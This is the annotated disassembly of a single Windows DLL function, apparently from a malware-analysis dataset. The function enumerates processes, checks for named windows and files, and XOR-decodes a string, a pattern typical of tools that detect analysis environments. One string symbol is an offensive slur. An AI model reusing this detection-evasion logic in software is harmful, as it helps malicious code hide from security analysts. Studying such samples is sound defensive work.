Function at 0x180006c00
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x180017040]
xor rax, rsp
mov qword [rbp + 0x90], rax
xor r13d, r13d
lea rbx, [0x180017be0]
mov r14d, r13d
lea r12, [0x1800181c0]
mov r15, rcx
nop
cmp qword [rbx + 0x18], 0xf
mov rsi, rbx
jbe 0x180006c5d
mov rsi, qword [rbx]
xor eax, eax
lea rdi, [rsp + 0x60]
mov ecx, 0x130
xor edx, edx
rep stosb byte [rdi], al
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x180006d12
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x130
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
jne 0x180006caa
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180006d12
mov rdx, rsi
lea rcx, [rbp - 0x74]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x180006cfe
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x180006cf3
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp - 0x74]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x180006cfe
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180006cd0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x180006d12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x68], r13d
jne 0x180006db2
inc r14d
add rbx, 0x20
cmp rbx, r12
jl 0x180006c50
lea r14, [0x1800181c0]
mov ebx, r13d
mov rdi, r14
lea rsi, [0x180018260]
cmp qword [rdi + 0x18], 0xf
mov rdx, rdi
jbe 0x180006d43
mov rdx, qword [rdi]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x180006e46
inc ebx
add rdi, 0x20
cmp rdi, rsi
jl 0x180006d36
lea rdi, str..NiGgEr
lea rbx, [0x180012038]
nop dword [rax]
mov rcx, qword [rdi]
xor r9d, r9d
mov qword [rsp + 0x30], r13
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov r8d, 1
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x180006dc8
add rdi, 8
cmp rdi, rbx
jl 0x180006d70
xor al, al
jmp 0x180006e6d
movsxd rdx, r14d
lea rax, [0x180017be0]
shl rdx, 5
add rdx, rax
jmp 0x180006e50
movdqa xmm1, xmmword [0x1800120a0]
mov r8, 0xffffffffffffffff
movd ecx, xmm1
movdqa xmm0, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov byte [rsp + 0x50], r13b
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
xor byte [rsp + 0x48], cl
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
psrldq xmm0, 1
movd eax, xmm0
xor al, cl
xor byte [rsp + 0x4f], cl
mov byte [rsp + 0x41], al
lea rax, [rsp + 0x41]
inc r8
cmp byte [rax + r8], r13b
jne 0x180006e36
lea rdx, [rsp + 0x41]
jmp 0x180006e63
movsxd rdx, ebx
shl rdx, 5
add rdx, r14
cmp r15, rdx
je 0x180006e6b
cmp qword [rdx + 0x18], 0xf
mov r8, qword [rdx + 0x10]
jbe 0x180006e63
mov rdx, qword [rdx]
mov rcx, r15
call fcn.180002c30
mov al, 1
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.18000ec70
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret